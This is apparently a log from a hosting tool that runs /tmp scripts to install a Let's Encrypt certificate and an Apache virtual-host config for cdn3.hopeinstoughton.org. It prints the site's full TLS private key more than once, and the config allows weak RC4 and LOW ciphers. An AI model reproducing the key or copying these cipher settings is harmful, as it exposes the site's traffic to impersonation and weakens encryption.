ttCaDxdoDTpI6EIL2DMoD0bXfPc3dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1AC
UTrN9puO1WYd5XrfFJ1VG2YGSrfHhzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/
IvvulNt47rIQyRxC75hMwZbqmxoRfujOiJq1AgMBAAGjggIfMIICGzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU74UZsvMj7wWqQ7F0HyZkwBZpdrwwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzWVp+oAAAE
AwBHMEUCIQDFdc841C8Ibk7+VcfcEtqA38CJRypSFzA9A7K56llVTgIgW+gFp4M6
oqtkAFV4tr7x/SGiN/fUxL5k7KnsbbFaEAQAdwAOV5S8866pPjMbLJkHs/eQ35vC
PXEyJd0hqSWsYcVOIQAAAZzWVp/EAAAEAwBIMEYCIQD8arInFCQCH0Ww7s5Y7omn
nPUl9TqRh2uwNwF2iezsZgIhAIsHjW/ENDPLsTvH4JJd/DsTrwgr4lOOOppW7ErG
OFDhMA0GCSqGSIb3DQEBCwUAA4IBAQAvULbLNTw/q7MImYSTlOFDG9C7aLjw8Ype
IFJOC7SuOk7Nh1aOCzDv6/2Rza+CqJLMy2uwI3Slr2MTzbxN7qy7s1LaSoNaNM62
Y73ooELkNtOsRtPRNK3UWhbVB8qVh6mmN4AfjdP3ic8M2EgKXrI0EYb8PtJlU70A
rMzzDMO7fBBSmL+4IxnmmIHgkSqhUiL1C13wyuQVwH6bzA6RRE5IncDwwt5/UOU5
r1hQQsQPpNvpGJFkFspvElceD8BXFny6jgdhnaB5t2ZewJnvdNHvYqfhCfg6cU31
wFkpYO2h3a8xQNBpR5t5XsJnT+lwn3+NlkJDLgYWwqwZ1PWDhZKX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC+NX6AUnUMt0+f
pUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzmk5VChuIpmc5XwOjZTNP1eXbRv3xx
bvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brIpL29IWWTANcbmr+N39KTglDfM0ct
UBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpgttCaDxdoDTpI6EIL2DMoD0bXfPc3
dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1ACUTrN9puO1WYd5XrfFJ1VG2YGSrfH
hzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/IvvulNt47rIQyRxC75hMwZbqmxoR
fujOiJq1AgMBAAECggEAGeMe8ekHDDGAsTol+9v2mS4LoC/1Y3yR6JKDjtKpesL8
le+pwTHx3QmNi1rnBfN33WdC68RZwwc8MRYIo4glVc51KSQbtpt5q0NRlJDeDYhU
IUpXvQoK1sxOTjkNjbC8hFsjhjb0ucP5WnXtZBnD+8gMpxtv6g57ggd5ouEff7ca
FURU/SQ/gqLAY8iDgMh9mxey2f+v1htjHTpbpN5OTi64WuFPP665Hd2dpUGd8G8/
5P1rBaQk5H8LqcyhTxc7ub+84i+5jJYa8vXnzUDPVwiZuWHIUdRb0vMA8qmIx1u7
mVEsCxW2fRkt+4VW7KEwsxTBqK/oB4L0dmRfoICuEQKBgQDk0SKP2Kd4UUd+45+b
FZ2bm6EYnzCzScrOc2AcLgLUvvQKX9SLgEoXpzGOK03XaAW1DeHH9qR3NBs9alTl
lq8+7z4yXxWIgARdqYRPeeoq87u9zgFKBwaG4a+kO4yOgnBnRCN4GrVD7M0Ijk0H
mGba50nsPWtWfB0lBpqa2+ow6QKBgQDUzjMB7deAnN3Wo9R+Mymh9WTtOWUTItXJ
DwEuTcHRlg90neDWT8UWYqX8f0XMIlD8FAAVimZqo0IgrvoFCPuhsoTCW7VAWRhB
xtmkXSKyzCvUNWEQEPyIkpFRt1RkDhkSbAzDHPV8zUgD6wJ9p35UdxYz1RYG0P6u
wf7d6pLb7QKBgECnb1Kh70AqBz+tZa3Wf8A2S2C/qm0ejrWjGCceQSKICkDcLxxz
1Xu1fGUli0swU1yDXaa45GPiT0gdQXvWBhKMW1C0WUtGkPU+LuqeEjKsyAGrseWO
8qMuJgkL4n1qEgS71iHbuhhFUvH184IP6BA2hkbAXBIF495QbWMQfK3xAoGATkCA
qy3td8K3JG1b/wgLQB3/fegEDdRabrOQyJkZM1uN1WEUw1nT7FZcGQwn+1eHFhq4
qTMaVA4yi9gr4dwaw6vke5/Dd6ULcWyQrYr97md7mm4Cgijs47+ZpkXWx3ATsh1/
V+P3NWw7Fg29/bywjJi51ld94QXLETIO6UWPuUUCgYBqBbe8zfHMto6k7Uf0V4fb
EgEPaqnND16kgBv0rfpc9pfoYmaUiMvSPNacHIs4riuBeYT7pOsBNyPEjrEIDsHZ
58Sr3Oii296/I9J4EyEg9yYD+5KZFoaQV6IxDznvxqjN4V/kZdQC7YG3H/che8fG
hwiTMjAiWZXr/e7j7I4VyQ==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-10 06:02:11: 

chmod 755 /tmp/pkp636937; /tmp/pkp636937; rm /tmp/pkp636937

2026-03-10 06:02:11: 


dir=/etc/ssl/certs


2026-03-10 06:02:11: 

PUT: /tmp/pkp422977

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-10 06:02:12: 

chmod 755 /tmp/pkp422977; /tmp/pkp422977; rm /tmp/pkp422977

2026-03-10 06:02:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf 1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-03-10 06:02:12: 

PUT: /tmp/pkp185154

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_cdn3_org.conf
TARGET=/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf)= /etc/apache2//etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf= 1'
fi


2026-03-10 06:02:12: 

chmod 755 /tmp/pkp185154; /tmp/pkp185154; rm /tmp/pkp185154

2026-03-10 06:02:13: 




2026-03-10 06:02:13: 

PUT: /tmp/pkp843220

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-10 06:02:13: 

chmod 755 /tmp/pkp843220; /tmp/pkp843220; rm /tmp/pkp843220

2026-03-10 06:02:13: 


.


2026-03-10 06:02:13: Establishing a connection
2026-03-10 06:02:14: 

PUT: /tmp/pkp186511

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-10 06:02:16: 

chmod 755 /tmp/pkp186511; /tmp/pkp186511; rm /tmp/pkp186511

2026-03-10 06:02:16: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-03-10 06:02:16: 

PUT: /tmp/pkp895155

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf')
    show_file('/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:02:16: 

chmod 755 /tmp/pkp895155; /tmp/pkp895155; rm /tmp/pkp895155

2026-03-10 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/hopeinstoughton_cdn3_org.conf	1398

<VirtualHost *:80>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn3.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn3
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0
    <Directory /var/www/hopeinstoughton_cdn3>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn3_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn3_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>







2026-03-10 06:02:17: 

PUT: /tmp/pkp680177

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-10 06:02:17: 

chmod 755 /tmp/pkp680177; /tmp/pkp680177; rm /tmp/pkp680177

2026-03-10 06:02:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0	5360
14:bc:2d:63:7d:f7:cc:d5:23:75:4f:6e:ac:90:fa:9a

-----BEGIN CERTIFICATE-----
MIIFAzCCA+ugAwIBAgISBiySZoNefqXrB2xzlatBVXUcMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzEwMDUwMzM3WhcNMjYwNjA4MDUwMzM2WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQC+NX6AUnUMt0+fpUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzm
k5VChuIpmc5XwOjZTNP1eXbRv3xxbvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brI
pL29IWWTANcbmr+N39KTglDfM0ctUBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpg
ttCaDxdoDTpI6EIL2DMoD0bXfPc3dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1AC
UTrN9puO1WYd5XrfFJ1VG2YGSrfHhzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/
IvvulNt47rIQyRxC75hMwZbqmxoRfujOiJq1AgMBAAGjggIfMIICGzAOBgNVHQ8B
Af8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQU74UZsvMj7wWqQ7F0HyZkwBZpdrwwHwYDVR0jBBgwFoAU56ufDywzoFPT
Xk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEzLmkubGVuY3Iub3JnLzAjBgNVHREEHDAaghhjZG4zLmhvcGVpbnN0b3VnaHRv
bi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8yOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHz
APEAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZzWVp+oAAAE
AwBHMEUCIQDFdc841C8Ibk7+VcfcEtqA38CJRypSFzA9A7K56llVTgIgW+gFp4M6
oqtkAFV4tr7x/SGiN/fUxL5k7KnsbbFaEAQAdwAOV5S8866pPjMbLJkHs/eQ35vC
PXEyJd0hqSWsYcVOIQAAAZzWVp/EAAAEAwBIMEYCIQD8arInFCQCH0Ww7s5Y7omn
nPUl9TqRh2uwNwF2iezsZgIhAIsHjW/ENDPLsTvH4JJd/DsTrwgr4lOOOppW7ErG
OFDhMA0GCSqGSIb3DQEBCwUAA4IBAQAvULbLNTw/q7MImYSTlOFDG9C7aLjw8Ype
IFJOC7SuOk7Nh1aOCzDv6/2Rza+CqJLMy2uwI3Slr2MTzbxN7qy7s1LaSoNaNM62
Y73ooELkNtOsRtPRNK3UWhbVB8qVh6mmN4AfjdP3ic8M2EgKXrI0EYb8PtJlU70A
rMzzDMO7fBBSmL+4IxnmmIHgkSqhUiL1C13wyuQVwH6bzA6RRE5IncDwwt5/UOU5
r1hQQsQPpNvpGJFkFspvElceD8BXFny6jgdhnaB5t2ZewJnvdNHvYqfhCfg6cU31
wFkpYO2h3a8xQNBpR5t5XsJnT+lwn3+NlkJDLgYWwqwZ1PWDhZKX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC+NX6AUnUMt0+f
pUgcpGnTRftxdUZuWtJiMuQRr6yT8GzcfUzmk5VChuIpmc5XwOjZTNP1eXbRv3xx
bvcTaP/XPQg2HAIWRwsV4mA7Tzf24kyI+brIpL29IWWTANcbmr+N39KTglDfM0ct
UBYZxzPr97BqipHfm5dBZSXLlbOmefLOQhpgttCaDxdoDTpI6EIL2DMoD0bXfPc3
dHH/QtbhODTx5xif4jMI9XowLH4Sj0zQd1ACUTrN9puO1WYd5XrfFJ1VG2YGSrfH
hzt35Q90nqXqvpMVSlvD1k3k1DeEHBgQCzA/IvvulNt47rIQyRxC75hMwZbqmxoR
fujOiJq1AgMBAAECggEAGeMe8ekHDDGAsTol+9v2mS4LoC/1Y3yR6JKDjtKpesL8
le+pwTHx3QmNi1rnBfN33WdC68RZwwc8MRYIo4glVc51KSQbtpt5q0NRlJDeDYhU
IUpXvQoK1sxOTjkNjbC8hFsjhjb0ucP5WnXtZBnD+8gMpxtv6g57ggd5ouEff7ca
FURU/SQ/gqLAY8iDgMh9mxey2f+v1htjHTpbpN5OTi64WuFPP665Hd2dpUGd8G8/
5P1rBaQk5H8LqcyhTxc7ub+84i+5jJYa8vXnzUDPVwiZuWHIUdRb0vMA8qmIx1u7
mVEsCxW2fRkt+4VW7KEwsxTBqK/oB4L0dmRfoICuEQKBgQDk0SKP2Kd4UUd+45+b
FZ2bm6EYnzCzScrOc2AcLgLUvvQKX9SLgEoXpzGOK03XaAW1DeHH9qR3NBs9alTl
lq8+7z4yXxWIgARdqYRPeeoq87u9zgFKBwaG4a+kO4yOgnBnRCN4GrVD7M0Ijk0H
mGba50nsPWtWfB0lBpqa2+ow6QKBgQDUzjMB7deAnN3Wo9R+Mymh9WTtOWUTItXJ
DwEuTcHRlg90neDWT8UWYqX8f0XMIlD8FAAVimZqo0IgrvoFCPuhsoTCW7VAWRhB
xtmkXSKyzCvUNWEQEPyIkpFRt1RkDhkSbAzDHPV8zUgD6wJ9p35UdxYz1RYG0P6u
wf7d6pLb7QKBgECnb1Kh70AqBz+tZa3Wf8A2S2C/qm0ejrWjGCceQSKICkDcLxxz
1Xu1fGUli0swU1yDXaa45GPiT0gdQXvWBhKMW1C0WUtGkPU+LuqeEjKsyAGrseWO
8qMuJgkL4n1qEgS71iHbuhhFUvH184IP6BA2hkbAXBIF495QbWMQfK3xAoGATkCA
qy3td8K3JG1b/wgLQB3/fegEDdRabrOQyJkZM1uN1WEUw1nT7FZcGQwn+1eHFhq4
qTMaVA4yi9gr4dwaw6vke5/Dd6ULcWyQrYr97md7mm4Cgijs47+ZpkXWx3ATsh1/
V+P3NWw7Fg29/bywjJi51ld94QXLETIO6UWPuUUCgYBqBbe8zfHMto6k7Uf0V4fb
EgEPaqnND16kgBv0rfpc9pfoYmaUiMvSPNacHIs4riuBeYT7pOsBNyPEjrEIDsHZ
58Sr3Oii296/I9J4EyEg9yYD+5KZFoaQV6IxDznvxqjN4V/kZdQC7YG3H/che8fG
